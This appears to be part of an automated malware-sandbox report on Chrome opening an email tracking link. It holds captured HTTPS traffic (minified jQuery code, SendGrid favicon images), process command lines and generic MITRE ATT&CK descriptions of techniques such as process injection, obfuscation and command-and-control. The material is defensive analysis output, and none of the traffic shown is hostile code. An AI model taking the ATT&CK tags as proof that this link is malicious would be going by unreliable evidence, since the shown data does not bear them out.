2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-04-21 09:32:34 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	100.21.20.131	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:36 UTC	634	OUT	GET /content/dam/sendgrid/core-assets/social/favicon-32x32.png HTTP/1.1 Host: sendgrid.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:36 UTC	967	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Apr 2025 09:32:36 GMT Content-Type: image/png Content-Length: 397 Connection: close Last-Modified: Tue, 28 Nov 2023 16:18:57 GMT ETag: "0x8DBF02DB8F489FE" Access-Control-Allow-Origin: * Cache-Control: max-age=3600,stale-while-revalidate=3600,stale-if-error=3600,public,immutable x-frame-options: SAMEORIGIN x-content-type-options: nosniff Content-Disposition: inline x-vhost: sendgrid Accept-Ranges: bytes Strict-Transport-Security: max-age=31557600 X-Served-By: cache-bfi-kbfi7400032-BFI X-Timer: S1745227956.189982,VS0,VS0,VE1 X-Cache: Miss from cloudfront Via: 1.1 c705ee033a363383cd13caf9803ae766.cloudfront.net (CloudFront) X-Amz-Cf-Pop: HIO52-P3 X-Amz-Cf-Id: 4RbhhMk0iA5MeEWJdYIxsS3N8c3TwYN19aZSo-GdaHLH2XPkIUkDCQ== Age: 1966 X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' Referrer-Policy: origin-when-cross-origin Strict-Transport-Security: max-age=31536000
2025-04-21 09:32:36 UTC	397	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 21 00 00 00 21 08 06 00 00 00 57 e4 c2 6f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 22 49 44 41 54 78 01 ed 96 31 4e c3 30 14 86 ff 67 07 a9 63 d6 0e 45 e1 06 3d 42 b9 81 b3 94 76 82 1b 20 8e d0 13 20 4e 40 b7 96 0e 4d 8e 50 4e c0 11 62 a1 4a 5d 99 2b c5 26 a9 f0 9a f8 49 ce 40 e5 6f f0 f4 3f eb 93 2c ff 36 81 81 da 54 99 10 f2 19 24 52 04 c1 7c ee e7 b7 6b e2 8c e4 1f c7 0a b0 19 02 42 96 5e 04 6b 22 b0 c0 9f 45 ca 94 18 86 28 e1 88 12 8e 7f 28 41 f8 c1 00 24 ed a2 8a 2a 1d 61 d4 d9 82 db 7c ac 6d 8d 37 12 f4 88 5e 78 7d 42 6d 15 93 4c be 60 d1 5d c5 84 43 31 9f dc c3 83 cb 9e 22 a9 Data Ascii: PNGIHDR!!WopHYssRGBgAMAa"IDATx1N0gcE=Bv N@MPNbJ]+&I@o?,6T$R\|kB^k"E((A$*a\|m7^x}BmL`]C1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	100.21.20.131	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:37 UTC	634	OUT	GET /content/dam/sendgrid/core-assets/social/favicon-96x96.png HTTP/1.1 Host: sendgrid.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:37 UTC	966	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Apr 2025 09:32:37 GMT Content-Type: image/png Content-Length: 843 Connection: close Last-Modified: Tue, 28 Nov 2023 16:18:57 GMT ETag: "0x8DBF02DB8F8CAEA" Access-Control-Allow-Origin: * Cache-Control: max-age=3600,stale-while-revalidate=3600,stale-if-error=3600,public,immutable x-frame-options: SAMEORIGIN x-content-type-options: nosniff Content-Disposition: inline x-vhost: sendgrid Accept-Ranges: bytes Strict-Transport-Security: max-age=31557600 X-Served-By: cache-bfi-krnt7300115-BFI X-Timer: S1745227957.229820,VS0,VS0,VE2 X-Cache: Miss from cloudfront Via: 1.1 14d8985a9dc0ead7a1065737baef3fe0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: HIO52-P3 X-Amz-Cf-Id: Fu_nmEPRNRYaAhlR1RKvsId9aENa8DtHVSphksFkHu1YmdJVUsMPgA== Age: 473 X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' Referrer-Policy: origin-when-cross-origin Strict-Transport-Security: max-age=31536000
2025-04-21 09:32:37 UTC	843	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 61 00 00 00 61 08 06 00 00 00 c6 06 cf a3 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 02 e0 49 44 41 54 78 01 ed dd 41 4e 14 41 14 c6 f1 f7 aa c1 b0 93 ad 89 c4 f1 04 8e 37 18 4e 60 43 34 81 95 78 03 6e 00 73 02 e0 04 e8 8a 00 09 72 03 c6 1b f4 0d 66 9c 99 c4 ad 4b e3 d0 f5 ec 9a 09 10 8d 89 6e a6 df 17 ea fb ad 26 b3 01 f2 a7 bb 7a f1 aa 4b 05 44 79 31 de 53 d1 f7 cd c7 ae 98 ac cb e3 55 a9 6a 15 eb a2 7f bd fb 6c 94 be 50 01 b0 7d 31 3d 35 b3 3d c9 8a 8e 2c 16 9b 29 44 10 67 db 97 93 83 fc 02 24 d6 d1 50 df a4 4f ee 57 c2 d6 f9 74 98 7e 21 c9 94 45 d9 74 bd 12 ca 8b 69 37 e7 00 49 08 d2 Data Ascii: PNGIHDRaapHYssRGBgAMAaIDATxANA7N`C4xnsrfKn&zKDy1SUjlP}1=5=,)Dg$POWt~!Eti7I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	52.40.152.246	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:42 UTC	433	OUT	GET /content/dam/sendgrid/core-assets/social/favicon-32x32.png HTTP/1.1 Host: sendgrid.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:42 UTC	967	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Apr 2025 09:32:42 GMT Content-Type: image/png Content-Length: 397 Connection: close Last-Modified: Tue, 28 Nov 2023 16:18:57 GMT ETag: "0x8DBF02DB8F489FE" Access-Control-Allow-Origin: * Cache-Control: max-age=3600,stale-while-revalidate=3600,stale-if-error=3600,public,immutable x-frame-options: SAMEORIGIN x-content-type-options: nosniff Content-Disposition: inline x-vhost: sendgrid Accept-Ranges: bytes Strict-Transport-Security: max-age=31557600 X-Served-By: cache-bfi-krnt7300041-BFI X-Timer: S1745227962.281230,VS0,VS0,VE1 X-Cache: Miss from cloudfront Via: 1.1 122c3ada56617c24649677d3b2f50200.cloudfront.net (CloudFront) X-Amz-Cf-Pop: HIO52-P3 X-Amz-Cf-Id: WZ5QKoOeyQ4CmBi01y7OSBcOHbu_iE0jgfHbVqmfd6LIvOQmfiHK-g== Age: 1972 X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' Referrer-Policy: origin-when-cross-origin Strict-Transport-Security: max-age=31536000
2025-04-21 09:32:42 UTC	397	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 21 00 00 00 21 08 06 00 00 00 57 e4 c2 6f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 22 49 44 41 54 78 01 ed 96 31 4e c3 30 14 86 ff 67 07 a9 63 d6 0e 45 e1 06 3d 42 b9 81 b3 94 76 82 1b 20 8e d0 13 20 4e 40 b7 96 0e 4d 8e 50 4e c0 11 62 a1 4a 5d 99 2b c5 26 a9 f0 9a f8 49 ce 40 e5 6f f0 f4 3f eb 93 2c ff 36 81 81 da 54 99 10 f2 19 24 52 04 c1 7c ee e7 b7 6b e2 8c e4 1f c7 0a b0 19 02 42 96 5e 04 6b 22 b0 c0 9f 45 ca 94 18 86 28 e1 88 12 8e 7f 28 41 f8 c1 00 24 ed a2 8a 2a 1d 61 d4 d9 82 db 7c ac 6d 8d 37 12 f4 88 5e 78 7d 42 6d 15 93 4c be 60 d1 5d c5 84 43 31 9f dc c3 83 cb 9e 22 a9 Data Ascii: PNGIHDR!!WopHYssRGBgAMAa"IDATx1N0gcE=Bv N@MPNbJ]+&I@o?,6T$R\|kB^k"E((A$*a\|m7^x}BmL`]C1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49754	52.40.152.246	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:42 UTC	433	OUT	GET /content/dam/sendgrid/core-assets/social/favicon-96x96.png HTTP/1.1 Host: sendgrid.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:42 UTC	966	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Apr 2025 09:32:42 GMT Content-Type: image/png Content-Length: 843 Connection: close Last-Modified: Tue, 28 Nov 2023 16:18:57 GMT ETag: "0x8DBF02DB8F8CAEA" Access-Control-Allow-Origin: * Cache-Control: max-age=3600,stale-while-revalidate=3600,stale-if-error=3600,public,immutable x-frame-options: SAMEORIGIN x-content-type-options: nosniff Content-Disposition: inline x-vhost: sendgrid Accept-Ranges: bytes Strict-Transport-Security: max-age=31557600 X-Served-By: cache-bfi-krnt7300031-BFI X-Timer: S1745227962.304404,VS0,VS0,VE2 X-Cache: Miss from cloudfront Via: 1.1 0f2e998c974188ba76236f3dadfba890.cloudfront.net (CloudFront) X-Amz-Cf-Pop: HIO52-P3 X-Amz-Cf-Id: UBy9IyBbcLjXAc-KbAWfBCA1vTgsWYMuVcVi1ga3dn7ZyvkUOZtYaw== Age: 478 X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' Referrer-Policy: origin-when-cross-origin Strict-Transport-Security: max-age=31536000
2025-04-21 09:32:42 UTC	843	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 61 00 00 00 61 08 06 00 00 00 c6 06 cf a3 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 02 e0 49 44 41 54 78 01 ed dd 41 4e 14 41 14 c6 f1 f7 aa c1 b0 93 ad 89 c4 f1 04 8e 37 18 4e 60 43 34 81 95 78 03 6e 00 73 02 e0 04 e8 8a 00 09 72 03 c6 1b f4 0d 66 9c 99 c4 ad 4b e3 d0 f5 ec 9a 09 10 8d 89 6e a6 df 17 ea fb ad 26 b3 01 f2 a7 bb 7a f1 aa 4b 05 44 79 31 de 53 d1 f7 cd c7 ae 98 ac cb e3 55 a9 6a 15 eb a2 7f bd fb 6c 94 be 50 01 b0 7d 31 3d 35 b3 3d c9 8a 8e 2c 16 9b 29 44 10 67 db 97 93 83 fc 02 24 d6 d1 50 df a4 4f ee 57 c2 d6 f9 74 98 7e 21 c9 94 45 d9 74 bd 12 ca 8b 69 37 e7 00 49 08 d2 Data Ascii: PNGIHDRaapHYssRGBgAMAaIDATxANA7N`C4xnsrfKn&zKDy1SUjlP}1=5=,)Dg$POWt~!Eti7I

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

Target ID:	1
Start time:	05:32:14
Start date:	21/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:32:17
Start date:	21/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2248,i,12116894107772654546,11462018470200565057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2328 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	05:32:24
Start date:	21/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 4316, Parent PID: 3784

General